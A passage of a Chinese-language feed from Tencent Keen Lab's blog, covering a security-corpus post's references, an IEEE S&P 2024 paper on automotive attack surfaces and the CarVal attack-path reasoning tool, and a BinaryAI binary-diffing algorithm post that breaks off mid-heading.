总结</strong></h1><p>腾讯安全科恩实验室以数据为中心开展了安全垂直领域大模型的相关工作，并获得约20B中英文安全领域数据。最终在预训练实验、评估以及SecBench上验证了数据的有效性。为了促进网络安全领域大模型的发展，除了已发布的网络安全大模型评测平台SecBench，我们将在后续开源我们的SecCorpus数据清洗套件，敬请关注。如有安全语料数据合作和安全大模型业务需求，欢迎联系我们：<a href="mailto:&#75;&#101;&#101;&#110;&#83;&#101;&#99;&#x75;&#114;&#105;&#x74;&#x79;&#76;&#97;&#x62;&#64;&#116;&#x65;&#110;&#x63;&#x65;&#110;&#116;&#46;&#99;&#111;&#x6d;">&#75;&#101;&#101;&#110;&#83;&#101;&#99;&#x75;&#114;&#105;&#x74;&#x79;&#76;&#97;&#x62;&#64;&#116;&#x65;&#110;&#x63;&#x65;&#110;&#116;&#46;&#99;&#111;&#x6d;</a>。</p><h1 id="6-参考文献"><a href="#6-参考文献" class="headerlink" title="6. 参考文献"></a><strong>6. 参考文献</strong></h1><p>[1] 大模型在网络安全领域的应用市场洞察，2023：破土萌芽，未来充满无限想象 Doc Document number:# CHC51403423</p><p>[2] Google cloud security ai workbench generative ai. <a href="https://cloud.google.com/blog/products/identity-security/rsa-google-cloud-security-ai-workbench-generative-ai">https://cloud.google.com/blog/products/identity-security/rsa-google-cloud-security-ai-workbench-generative-ai</a></p><p>[3] Microsoft Copilot for Security. <a href="https://www.microsoft.com/en-us/security/business/ai-machine-learning/microsoft-copilot-security">https://www.microsoft.com/en-us/security/business/ai-machine-learning/microsoft-copilot-security</a></p><p>[4] Wenzek G, Lachaux M A, Conneau A, et al. CCNet: Extracting high quality monolingual datasets from web crawl data[J]. arXiv preprint arXiv:1911.00359, 2019.</p><p>[5] Adrien Barbaresi. 2021. Trafilatura: A Web Scraping Library and Command-Line Tool for Text Discovery and Extraction. In Proceedings of the 59th Annual Meeting of the Association for Computational Linguistics and the 11th International Joint Conference on Natural Language Processing: System Demonstrations, pages 122–131, Online. Association for Computational Linguistics.</p><p>[6] Mann B, Ryder N, Subbiah M, et al. Language models are few-shot learners[J]. arXiv preprint arXiv:2005.14165, 2020.</p><p>[7] <a href="https://github.com/wustho/epy">https://github.com/wustho/epy</a></p><p>[8] <a href="https://github.com/matthewwithanm/python-markdownify/tree/develop">https://github.com/matthewwithanm/python-markdownify</a></p><p>[9] <a href="https://npm.io/package/@unified-latex/unified-latex-cli">https://npm.io/package/@unified-latex/unified-latex-cli</a></p><p>[10] Large-scale Near-deduplication Behind BigCode. <a href="https://huggingface.co/blog/dedup">https://huggingface.co/blog/dedup</a></p><p>[11] Hendrycks, Dan, Collin Burns, Steven Basart, Andy Zou, Mantas Mazeika, Dawn Song, and Jacob Steinhardt. “Measuring Massive Multitask Language Understanding.” arXiv, January 12, 2021. <del>&#x3D;</del></p><p>[12] Wei T, Zhao L, Zhang L, et al. Skywork: A more open bilingual foundation model[J]. arXiv preprint arXiv:2310.19341, 2023.</p><p>[13] Radford, Alec, Jeffrey Wu, Rewon Child, David Luan, Dario Amodei, and Ilya Sutskever. “Language Models Are Unsupervised Multitask Learners,” n.d.</p><p>[14] He, Conghui, Zhenjiang Jin, Chao Xu, Jiantao Qiu, Bin Wang, Wei Li, Hang Yan, Jiaqi Wang, and Dahua Lin. “WanJuan: A Comprehensive Multimodal Dataset for Advancing English and Chinese Large Models.” arXiv, September 15, 2023. </p><p>[15] Touvron, Hugo, Louis Martin, and Kevin Stone. “Llama 2: Open Foundation and Fine-Tuned Chat Models,” n.d.</p><p>[16] Yuan S, Zhao H, Du Z, et al. Wudaocorpora: A super large-scale chinese corpora for pre-training language models[J]. AI Open, 2021, 2: 65-68.</p><p>[17] Abadji J, Suarez P O, Romary L, et al. Towards a cleaner document-oriented multilingual crawled corpus[J]. arXiv preprint arXiv:2201.06642, 2022.</p><p>[18] Nguyen T, Van Nguyen C, Lai V D, et al. Culturax: A cleaned, enormous, and multilingual dataset for large language models in 167 languages[J]. arXiv preprint arXiv:2309.09400, 2023.</p><p>[19] SlimPajama: A 627B token, cleaned and deduplicated version of RedPajama. <a href="https://www.cerebras.net/blog/slimpajama-a-627b-token-cleaned-and-deduplicated-version-of-redpajama">https://www.cerebras.net/blog/slimpajama-a-627b-token-cleaned-and-deduplicated-version-of-redpajama</a></p><p>[20] Large language model data pipelines and Common Crawl (WARC&#x2F;WAT&#x2F;WET). <a href="https://blog.christianperone.com/2023/06/appreciating-llms-data-pipelines/">https://blog.christianperone.com/2023/06/appreciating-llms-data-pipelines/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2024-SecCorpus0411/cover.png&quot;&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>科恩实验室最新网联汽车信息安全研究成果发布于安全顶会IEEE S&amp;P 2024 - 对车载攻击面的重新审视与思考</title>
    <link href="https://keenlab.tencent.com/zh/2023/11/27/2023-SP24-a-Practitioners-Perspective/"/>
    <id>https://keenlab.tencent.com/zh/2023/11/27/2023-SP24-a-Practitioners-Perspective/</id>
    <published>2023-11-27T03:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2023-IEEE-SP24-pr/sp24cover.png"></p><span id="more"></span><h2 id="背景与摘要"><a href="#背景与摘要" class="headerlink" title="背景与摘要"></a><strong>背景与摘要</strong></h2><p>近年来，随着现代车辆技术的快速发展，网联汽车的攻击面（Attack Surface）和车载网络结构（In-Vehicle Network）都变得更加复杂。目前，已出台多项网联汽车信息安全标准，包括WP29 R155e、ISO 21434以及一系列国标，但这些刚出台标准与法规仍处于起步阶段，需要在摸索实践中直面各种挑战并不断完善。在这样的背景下，我们展开了如下的研究来重新审视现在的网联汽车信息安全：</p><ul><li>我们通过深入访谈15位网联汽车信息安全专家，揭示了安全团队在保障车辆信息安全过程中遇到的挑战，以及现行规定的局限性：包括缺乏高质量的车载威胁案例信息库以及难以高效执行Threat Analysis &amp; Risk Assessment （TARA）等。</li><li>基于现有的法规和收集的访谈数据，我们建立了一个新的层次化的网联汽车信息安全的威胁案例库，包括多达119条具体的车载威胁案例。同时我们提出一种新的基于Datalog的推理方法，可根据车载网络结构自动化推理攻击路径和计算对应的威胁分数。</li><li>以实车上的安全研究案例分析展示了自动化方法的有效性。</li></ul><p>该研究由科恩实验室和<strong>香港理工大学罗夏朴教授团队</strong>及<strong>香港大学钱晨雄教授</strong>联合完成，且相关论文<a href="https://www.computer.org/csdl/proceedings-article/sp/2024/313000a080/1RjEaOV6EQE">《Revisiting Automotive Attack Surfaces: a Practitioners’ Perspective》[1]</a>已被安全领域四大顶会中的IEEE S&amp;P 2024录用。<br><img src="/zh/img/2023-IEEE-SP24-pr/0-sp24.png" alt="图.0: sp24论文页面"></p><p><strong>关于IEEE S&amp;P会议。</strong></p><p>IEEE S&amp;P会议，全称IEEE Symposium on Security and Privacy，别名Oakland，是安全领域最具影响力的顶级学术会议之一。其常与USENIX Security, CCS, NDSS并称为安全领域的四大顶会。特别地，S&amp;P由于其极高的录取要求和极低的论文录用率（常年低于15%），被公认为是安全领域含金量最高的会议。</p><h2 id="Part-1-访谈研究与新的威胁案例库"><a href="#Part-1-访谈研究与新的威胁案例库" class="headerlink" title="Part.1: 访谈研究与新的威胁案例库"></a><strong>Part.1: 访谈研究与新的威胁案例库</strong></h2><p>我们一共邀请了以下15位来自不同企业，处于不同职位的网联汽车信息安全专家参加访谈：<br><img src="/zh/img/2023-IEEE-SP24-pr/1-interviewee.png" alt="图.1: 参加访谈研究人员画像信息（已匿名化处理）"></p><p>在访谈过程，研究人员与受访者开放性地深入探讨了：</p><ul><li>执行信息安全活动中的具体挑战</li><li>对现有TARA方法的评估</li><li>对现有法规中威胁案例的评估</li><li>对现有法规局限性的讨论</li></ul><p>具体来说，我们通过质性分析的方法，将结果总结成了20个Key Points（详见<a href="https://github.com/VehicleCyberSec/CarVal">Code and Supplementary Materials[2]</a>），同时提出用一种结构化的方法来描述现有的网联汽车安全威胁，并基于访谈收集的数据建立了一套新的威胁数据库：<br><img src="/zh/img/2023-IEEE-SP24-pr/2-vulnerabilitySet.png" alt="图.2: 威胁数据库概览"></p><p>新的威胁数据库包含了所有现有法规和标准中的威胁案例，以及所有从访谈研究中补充的案例。该数据库一共包含有119条具体的威胁案例，而这些案例层次化地分布在一共28个Code和7个Theme下。每一威胁案例都从Attack Description (AD), Root Cause (RC), Security Testing Approach (STA), 以及Mitigation (MG)几个方面具体展开。与现在法规中的案例相比（比如WP29 R155e的附录），我们提出的<a href="https://github.com/VehicleCyberSec/CarVal">新威胁案例库[2]</a>从数量和质量上都有十分显著的提升。</p><p>以下是以车机安全（In-Vehicle Infotainment）为例的部分内容：<br><img src="/zh/img/2023-IEEE-SP24-pr/3-vulnerabilitySet-IVI.png" alt="图.3 威胁数据库预览-IVI安全"></p><h2 id="Part-2-自动化攻击路径推理"><a href="#Part-2-自动化攻击路径推理" class="headerlink" title="Part.2: 自动化攻击路径推理"></a><strong>Part.2: 自动化攻击路径推理</strong></h2><p>我们的访谈研究除了发现现有威胁案例的不足之外，还发现TARA流程往往是低效的，缺乏自动化的方法。相应的，我们提出了名为CarVal的基于Datalog的自动化的车载网络攻击路径推理方法：<br><img src="/zh/img/2023-IEEE-SP24-pr/4-carval.png" alt="图.4 CarVal：自动化攻击路径推理与威胁评估"></p><p>CarVal将基于已有的威胁数据库（Vulnerability Set）以及车辆信息（Vehicle Configuration），并根据用户输入的攻击目标（Attack Goal）和攻击入口（Attack Entry），用Datalog的推理方法来自动化推理可能得攻击路径。此外，CarVal还将自动化地计算每条攻击路径的威胁值，实现自动化的威胁评估。</p><p><strong>应用举例</strong>：下图一条由CarVal推理出的具体攻击路径，描述了攻击者能如何从IVI的Wi-Fi接口控制IVI，并进一步在车内网络的infoCAN上广播恶意消息。<br><img src="/zh/img/2023-IEEE-SP24-pr/5-carval-example.png" alt="图.5 CarVal应用举例：从IVI到车内网络infoCAN的攻击"></p><p>CarVal基于IT网络的威胁推理工具<a href="https://github.com/risksense/mulval">MulVAL[3]</a>开发。</p><h2 id="Part-3-实车漏洞分析"><a href="#Part-3-实车漏洞分析" class="headerlink" title="Part.3: 实车漏洞分析"></a><strong>Part.3: 实车漏洞分析</strong></h2><p>基于CarVal的自动推理方法，我们在多辆实车上进行了深入的安全分析，并发现了众多高危漏洞。以下将以其中一辆车为例展示分析流程。下图为该车辆的车内网络拓扑：<br><img src="/zh/img/2023-IEEE-SP24-pr/6-topo.png" alt="图.6 待分析车辆的网络拓扑"></p><p>基于车辆拓扑信息，CarVal可自动化推理出从TCU到BCM的攻击路径：<br><img src="/zh/img/2023-IEEE-SP24-pr/7-attacking-path.png" alt="图.7 攻击路径：通过重放攻击从TCU控制BCM"></p><p>通过对App远程车控逻辑的逆向分析，我们还原出了其中BLE车控的具体逻辑，并发现其中存在潜在的密钥泄露问题。攻击者可通过窃取的密钥，执行重放攻击来实现车控：<br><img src="/zh/img/2023-IEEE-SP24-pr/8-reverse.png" alt="图.8 通过逆向分析还原的车控流程"></p><p><strong>负责任的披露流程</strong>。所有实车上发现的漏洞都已经详细报告给相关人员且得到了合理修复。关于更多的实车分析流程，见<a href="https://www.computer.org/csdl/proceedings-article/sp/2024/313000a080/1RjEaOV6EQE">论文原文[1]</a>。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a><strong>结语</strong></h2><p>现代车辆的复杂性以及网络安全威胁的不断演变为整个行业带来了持续的挑战，而为了促进网络安全文化并完善现有的标准和规定，汽车行业、监管机构和研究者都需要持续付出努力。<br>感谢所有参加访谈研究的专家，为本次研究中提出了大量高价值观点与建议。我们期望我们改进的威胁数据库和提出的自动化推理方法能助力规定完善，使TARA流程更加高效！</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a><strong>参考</strong></h2><p>[1] Paper link: <a href="https://www.computer.org/csdl/proceedings-article/sp/2024/313000a080/1RjEaOV6EQE">https://www.computer.org/csdl/proceedings-article/sp/2024/313000a080/1RjEaOV6EQE</a><br>[2] Code and Supplementary Materials: <a href="https://github.com/VehicleCyberSec/CarVal">https://github.com/VehicleCyberSec/CarVal</a><br>[3]MulVAL：<a href="https://github.com/risksense/mulval">GitHub - risksense&#x2F;mulval: A logic-based enterprise network security analyzer</a></p><h2 id="科恩智能网联汽车研究历程"><a href="#科恩智能网联汽车研究历程" class="headerlink" title="科恩智能网联汽车研究历程"></a><strong>科恩智能网联汽车研究历程</strong></h2><p><a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247483807&idx=1&sn=98a5acfe7381036514eab777447ec547&chksm=fbfd3d9acc8ab48c063276b1c3c90b590b6070dcbb6155a61c0b43501c3a88d5ef085bb97626&token=290166529&lang=zh_CN#rd">Black Hat 2018议题解读|穿云拨雾：对特斯拉汽车网关、车身控制模块以及辅助驾驶(Autopilot)ECU的渗透测试</a><br><a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247483976&idx=1&sn=eec18849c0829b9600095e31ad6147fb&chksm=fbfd3e4dcc8ab75b238dde6a1682ee9e588f946af4c4af82b1e77de18488efffd4233d860fa3&token=290166529&lang=zh_CN#rd">腾讯安全科恩实验室发布特斯拉Autopilot实验性安全研究成果</a><br><a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247484289&idx=1&sn=e870b1ce28c8d11883ff36daef8ca34e&chksm=fbfd3f84cc8ab692ec6afd1865c9bd3042d4ed03acc2a59473570ac363db05281240e5cc43ed&token=290166529&lang=zh_CN#rd">腾讯安全科恩实验室发布雷克萨斯汽车安全研究综述报告</a><br><a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247484254&idx=1&sn=165ba8b7225e847e8863c36523302bf7&chksm=fbfd3f5bcc8ab64d3427d29a267733bc8b169c3e729eb52faa12e226efd0a5cee57c76d0db27&token=290166529&lang=zh_CN#rd">在Tesla Model S上实现Wi-Fi协议栈漏洞的利用</a><br><a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247493425&idx=1&sn=474e6e634b3bf27c4378e871045345c1&chksm=fbfedb34cc895222fea5d182b6f4761557befe0f761912859475146d29c6f9bd618bbbf00fd4&token=290166529&lang=zh_CN#rd">腾讯安全科恩实验室：梅赛德斯-奔驰汽车信息安全研究综述报告</a><br><a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247495018&idx=1&sn=28bdc17fc6f3564d686f7c4d58a57d59&chksm=fbfed16fcc895879e782bab099cf33c78dac3d847896f41046d12fd5b6bd3032dcf30949be63&token=290166529&lang=zh_CN#rd">科恩实验室最新自动驾驶安全研究成果发布于安全顶会USENIX Security 2021-以人造扰动欺骗车道线检测系统</a><br><a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247499978&idx=1&sn=038f32369b8542611c0dbe58886eac66&chksm=fbfefccfcc8975d99d89d8a941c9c2582b5d61e5243ab1d4cb28b6ce58d3c775932d2d598c76&token=290166529&lang=zh_CN#rd">科恩嵌入式系统安全审计平台入选”2021工业信息安全优秀应用案例”！</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/2023-IEEE-SP24-pr/sp24cover.png&quot;&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="KeenLab" scheme="https://keenlab.tencent.com/zh/tags/KeenLab/"/>
    
  </entry>
  
  <entry>
    <title>BinaryAI二进制比对功能设计与实现｜大模型下函数的语义匹配</title>
    <link href="https://keenlab.tencent.com/zh/2023/07/13/2023-BinaryAI-update230713-release/"/>
    <id>https://keenlab.tencent.com/zh/2023/07/13/2023-BinaryAI-update230713-release/</id>
    <published>2023-07-13T06:00:00.000Z</published>
    <updated>2025-12-08T11:23:11.842Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/zh/img/2023-BinaryAI-update20230713-release/new-cover.png"></p><p>科恩实验室自研二进制安全智能分析平台- BinaryAI技术分享：全新功能“二进制比对”的设计与实现。本文介绍了BinaryAI如何在大模型 BAI-2.0基础上叠加启发式算法，以函数粒度的语义匹配提高了复杂场景下二进制比对准确率及召回率。<br>体验地址：<a href="https://www.binaryai.cn/">https://www.binaryai.cn</a></p><span id="more"></span><p>科恩实验室在2021年8月首次发布二进制安全智能分析平台—<a href="https://www.binaryai.cn/">BinaryAI</a>，BinaryAI可精准高效识别二进制文件的第三方组件及其版本号，旨在推动SCA（Software Composition Analysis，软件成分分析）技术在DevSecOps、威胁情报、安全研究等应用场景发展。</p><h1 id="BinaryAI二进制比对功能亮相"><a href="#BinaryAI二进制比对功能亮相" class="headerlink" title="BinaryAI二进制比对功能亮相"></a>BinaryAI二进制比对功能亮相</h1><p>二进制可执行文件比对是计算机安全的经典问题，通过比对两个二进制文件的异同，即使源代码不可用，也能够进行程序版本变更分析及第三方组件识别等任务。但现有工具大多依赖于人工选定的特征，对函数语义理解不足，在跨版本或优化级别的复杂场景下识别效果不佳。</p><p>科恩实验室凝聚多年“AI+算法”研究成果经验，推出函数相似度匹配模型 BAI-2.0（<a href="https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247504387&idx=1&sn=895fb77806e09a74edfb08fd9b9f0ea2&chksm=fbfeee06cc896710da3a9c589eba67c252f9ff6b9dd7644f729f252a9203656d051b0cbe2fa2&token=286486244&lang=zh_CN#rd">BinaryAI全新代码匹配模型BAI-2.0上线， “大模型”时代的安全实践</a>），并在此基础上叠加启发式算法，实现了BinaryAI最新的二进制文件比对功能，以函数粒度的语义匹配提高了复杂场景下二进制比对准确率及召回率。</p><p>该功能底层比对算法代码现已开源，欢迎复现：<a href="https://github.com/binaryai/bindiffmatch">https://github.com/binaryai/bindiffmatch</a><br>平台比对功能体验传送门：<a href="https://www.binaryai.cn/">https://www.binaryai.cn/</a></p><p><img src="/zh/img/2023-BinaryAI-update20230713-release/0-bindiff.gif" alt="图1：BinaryAI二进制文件比对功能"></p><h1 id="四大使用场景"><a href="#四大使用场景" class="headerlink" title="四大使用场景"></a>四大使用场景</h1><p><strong>(1)比较新老版本软件功能变更</strong><br>软件迭代代码变更有限，在面对新老版本时，可以迅速识别并排除相似的部分，从而集中精力在变更的函数上。<br><strong>(2)识别组件库的使用情况及风险</strong><br>分析大型程序时，处理集成的开源组件代码需要花费大量精力。手动构建带有符号信息的开源库程序，并借助二进制文件比对技术匹配函数以完成符号标注，可以快速理解程序的局部逻辑，形成对程序整体结构的认识，有助于进一步分析核心逻辑和组件可能引入的安全缺陷、许可证问题等。<br><strong>(3)鉴定软件抄袭侵权</strong><br>在无法获得源代码的场景下，通过二进制文件比对也可以判断待测程序是否与已知程序雷同，可以用于版权调查或者剽窃抄袭判定。<br><strong>(4)分析恶意软件变体</strong><br>同一家族的恶意软件在实现上会有一定的共同特征。通过二进制文件比对可以将相似的样本归类，有利于找到具有类似行为的恶意软件变体。</p><h1 id="二进制比对相关工具及研究"><a href="#二进制比对相关工具及研究" class="headerlink" title="二进制比对相关工具及研究"></a>二进制比对相关工具及研究</h1><p>目前工业界和学术界有大量针对二进制比对任务的工具及研究，几个有代表性的工作如下：</p><h2 id="BinDiff"><a href="#BinDiff" class="headerlink" title="BinDiff"></a>BinDiff</h2><p><a href="https://www.zynamics.com/bindiff.html">BinDiff</a>[1]是zynamics团队开发的产品，可以和IDA、Ghidra、Binary Ninja工具结合使用，对两个二进制文件执行细粒度的比对。BinDiff采用的是基于图结构（控制流图和调用图）的匹配以及若干启发式特征匹配技术。截至目前，BinDiff的最新版本为2021年发布的7.0版本，其特征导出模块BinExport已经开源。</p><h2 id="Diaphora"><a href="#Diaphora" class="headerlink" title="Diaphora"></a>Diaphora</h2><p><a href="https://github.com/joxeankoret/diaphora">Diaphora</a>[2]是一款流行的开源二进制比对工具，目前仍在积极维护中，最新版本为上月发布的3.0版本。其分析过程分为两个阶段，第一阶段：作为IDA Script运行，导出文件和函数的各种特征存入数据库；第二阶段：可以作为IDA Script运行或者离线运行，在导出的特征上运行各种策略（heuristics），最终生成完全匹配、部分匹配、无法匹配的函数列表。匹配结果导入IDA后，能够以函数、伪代码、汇编、调用图等多种粒度展示。<br>Diaphora的核心能力在于其策略，这些策略大多是基于人为选定的特征，用于判断单个函数的匹配性，例如”Same KOKA hash and constants”、”Same nodes, edges and strongly connected components”等。此外，Diaphora还包含少量实验性质的文件级别特征，例如“Call address sequence”等。<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/1-Diaphora-IDA-Script.png" alt="图2：Diaphora IDA Script的加载窗口，有众多配置项"><br> <img src="/zh/img/2023-BinaryAI-update20230713-release/2-Diaphora-resul.png" alt="图3：Diaphora的匹配结果页面，其中Description给出了判定所使用的策略"></p><h2 id="DEEPBINDIFF-Learning-Program-Wide-Code-Representations-for-Binary-Diffing"><a href="#DEEPBINDIFF-Learning-Program-Wide-Code-Representations-for-Binary-Diffing" class="headerlink" title="DEEPBINDIFF: Learning Program-Wide Code Representations for Binary Diffing"></a>DEEPBINDIFF: Learning Program-Wide Code Representations for Binary Diffing</h2><p>这是发表于2020年的<a href="https://github.com/yueduan/DeepBinDiff">论文</a>[3]，特点是可以在整个二进制文件上执行基本块级别的比对。作者应用了机器学习自然语言处理技术，结合汇编指令和控制流图结构为每个基本块生成一个embedding向量，然后结合图结构，通过迭代寻找匹配的基本块。相比于先前的同类工作，DEEPBINDIFF取得了较大的效果提升，但缺点是它受编译条件影响较大，对于基本块和控制流结构敏感，对跨架构支持不足。</p><p>对以上工具&#x2F;研究及BinaryAI最新比对算法进行简单的对比:<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/3-alltools.png" alt="图4：二进制文件比对工具和研究"></p><p>总的来说，目前现有的二进制比对工具&#x2F;研究存在以下共性问题：<br>1.很大程度上依赖特征工程，这意味着人工介入较多。<br>2.在信息提取和嵌入方面主要关注汇编指令或控制流等低层次特征，对函数的语义逻辑体现不足。当架构、优化级别、版本相差过大时，将难以保证匹配效果。</p><h1 id="比对功能算法设计"><a href="#比对功能算法设计" class="headerlink" title="比对功能算法设计"></a>比对功能算法设计</h1><p>两个二进制函数是否匹配，应当以它们的逻辑是否相同来定义。然而，现有的很多工具主要基于传统特征工程来判断函数的相似度，例如基本块、指令序列、字符串等低层次语义特征或者控制流图等函数内的结构特征。这些方法在分析局部代码微小修改方面较为有效，但涉及到不同编译器、优化选项、指令架构等情况时，即使是同一份源码，低层次特征也可能存在巨大差异，从而导致难以准确匹配。此外，当匹配范围从单一函数扩展到整个二进制文件时，函数内部的细节特征对全局的直接影响较小，而函数自身的相似性以及函数间的关系等宏观特征变得更为重要。<br>基于上述分析，科恩实验室将函数作为匹配的最小单元，以函数的语义相似度作为基础，同时结合函数间的关系，实现了BinaryAI的二进制文件比对功能。</p><h2 id="大模型生成向量体现语义级函数匹配"><a href="#大模型生成向量体现语义级函数匹配" class="headerlink" title="大模型生成向量体现语义级函数匹配"></a>大模型生成向量体现语义级函数匹配</h2><p>判定两个函数是否匹配，可以从语法形态和语义逻辑两个角度考虑。基于语法形态进行判定简单直接，例如只有当两个函数具有相同的语句序列或控制流图时才会判定为匹配，虽然此类特征容易提取，但是由于编译过程对语法结构进行了大量变换，只有很少的情况能够保证两个函数的语法形态特征完全匹配；<br>基于语义逻辑进行判定则更接近本质，只要两个函数的功能一致就认定为匹配。在实际应用中，基于语义逻辑匹配具有更高的应用价值，但是语义逻辑等价本身是一个不可判定问题。<br>常见的二进制比对工具（例如Diaphora）通常是预先提取若干人工选定的函数特征（例如某些特殊的指令序列），然后运行一些启发式策略判定函数是否匹配。这些策略大都基于一个假设：两个函数如果具有足够的可匹配语法形态特征，那么它们的语义逻辑应该也是一致的。然而，编译过程的不确定性会导致相同的语义逻辑有无数种可能的语法形态，这个假设很多时候是无法成立的，因此此类工具在复杂条件下进行语义匹配的表现并不理想。</p><p>但是，基于AI大模型，我们可以绕开这层假设，直接将函数的语义是否相似作为原始信息提供给模型做训练。依靠大模型强大的内在特征提取能力，经过学习后模型产生的输出就能够直接蕴含函数的语义信息。具体应用到比对任务时，两个输出的embedding向量之间的距离即可反映函数的语义相似性。</p><p><strong>BinaryAI后台有持续更新的海量C&#x2F;C++开源项目数据作为语料，在此基础上训练得到的BAI-2.0大模型生成的embedding向量能够很好地体现函数在真实场景下的语义，为BinaryAI二进制文件比对功能提供了基础能力。</strong></p><h2 id="大模型加持下的文件匹配"><a href="#大模型加持下的文件匹配" class="headerlink" title="大模型加持下的文件匹配"></a>大模型加持下的文件匹配</h2><p>一个二进制文件可以看作多个函数的集合，文件匹配的目标是找出两个二进制文件中所有能够匹配的函数对。<br>在人工做函数匹配的过程中，通常需要在反编译器中打开两个文件，寻找具有明显特征的函数（例如带有特殊的字符串），如果它们的伪代码相似度也非常高，就先把它们标记为初始匹配。然后，从已经标记的函数开始，观察它们调用或被其他函数调用的情况，可以认为这些函数也是大概率匹配的。最后，剩余的函数需要依靠人工判断，是一个比较困难的任务。<br>整个过程结合了函数自身的相似性以及函数之间的关联关系。由于人工判断函数的相似性是一个比较困难的任务，所以第一阶段能找到的初始匹配往往很少或存在错误，这会阻碍第二阶段利用函数关系找到更多扩散匹配，并进一步导致第三阶段剩余更多难以判断的函数。<br>BinaryAI的二进制文件比对功能在流程上与人工匹配的过程相似，同样分为初始匹配、扩散匹配、剩余匹配三个阶段。</p><h3 id="1-初始匹配"><a href="#1-初始匹配" class="headerlink" title="(1)初始匹配"></a>(1)初始匹配</h3><p>依靠BAI-2.0模型的embedding能力，我们可以为每个二进制函数生成一个向量作为函数特征的表征，通过直接使用两个向量间的余弦相似度即可判断两个函数之间的相似性。<br>在初始匹配阶段，需要保证高准确性的前提下尽可能找出更多的匹配函数。然而，简单的贪心策略容易出现重复选取和漏选的情况。因此，我们采用全局视角，将其转换为完全二分图的最大匹配问题。完全二分图的两组节点分别为两个文件的所有函数，边的权值为两个函数的向量余弦相似度。这可以确保匹配结果中不存在重复的函数，并且让相似度不是最高的函数也有机会被选中。<br>获得完全二分图的最大匹配之后，需要进行进一步的筛选。其中，筛选条件之一是两个函数必须都是有效函数，导入表、导出表、Thunk等包装函数以及过于简短的普通函数都被视为无效函数。筛选条件之二是相似度大于阈值。此阈值应设定为较高的值，以确保第二阶段的需要。筛选需要放在最后进行，这样二分图匹配才能具有一个文件的全局视角。</p><h3 id="2-扩散匹配"><a href="#2-扩散匹配" class="headerlink" title="(2)扩散匹配"></a>(2)扩散匹配</h3><p>第一阶段只利用了函数自身的相似性找到置信度最高的匹配。第二阶段则利用一个文件内函数间的关系，继续扩展第一阶段的匹配结果集合。<br>一个二进制文件由多个函数组成，函数虚拟地址的排布顺序构成了位置关系， 函数之间的相互调用构成了调用关系。这两种关系在二进制文件比对中有重要作用。<br>调用关系的作用基于一个假设：如果两个函数逻辑相同，那么它们往往具有相近的数据流和控制流，甚至源代码实现可能也比较接近，它们各自调用的其他函数也大致相同。位置关系的作用基于一个现象：一个源代码文件作为一个独立的构建单元，其中的函数在二进制文件中通常会聚集并保持顺序。<br>实际情况下，位置关系的作用是否成立非常依赖于编译器的具体行为，例如，如果开启了链接时优化，编译器可以对函数做全局重排；同时，函数内联或者隐式生成的函数都会打破位置关系的假设等；这使得位置关系在跨编译器等更广泛的二进制比对场景中更难被利用。相比之下，调用关系主要基于函数逻辑假设，且二进制比对场景的两个输入文件通常会有相关性，因此调用关系相比位置关系更加稳定，适用范围更广。<br>所以，本阶段主要基于函数间的调用关系：以第一阶段的结果为中心，对每一对匹配的函数，找到它们各自在函数调用图上邻近的节点，在这两组节点中寻找最大二分图匹配，过滤掉相似度过低或无效的函数作为新的一轮结果。然后，以上一轮的匹配结果为新的中心，重复此过程，继续沿着调用图继续扩散寻找新的匹配节点，直到无法找到更多匹配为止。</p><h3 id="3-剩余匹配"><a href="#3-剩余匹配" class="headerlink" title="(3)剩余匹配"></a>(3)剩余匹配</h3><p>在前两阶段完成之后，第三阶段将在剩余的未匹配函数上再次进行二分图最大匹配。由于剩余函数集合规模远小于全集，因此可以应用比第一阶段更宽松的相似度阈值进行过滤，这一阶段作为对前两阶段的补充，旨在提高整体的召回率。</p><p>下图是三个阶段的简单示例：假设两个文件各有三个函数，初始时两两之间的相似度分数已知。</p><ul><li>第一阶段全部函数都参与匹配，初始匹配结束后，只有两边的func1由于相似度分数非常高满足过滤条件被保留；</li><li>第二阶段只在func1调用图上的邻近函数之间寻找匹配，因此选定了两边func2作为匹配，由于没有更多与func2调用关系邻近的函数，第二阶段结束；</li><li>第三阶段只在前两个阶段都没有选中的函数之间寻找匹配，最终召回了两边的func3匹配；<br> <img src="/zh/img/2023-BinaryAI-update20230713-release/4-flowchart.png" alt="图5：算法流程示例"></li></ul><h1 id="比对功能算法评测结果"><a href="#比对功能算法评测结果" class="headerlink" title="比对功能算法评测结果"></a>比对功能算法评测结果</h1><h2 id="数据集"><a href="#数据集" class="headerlink" 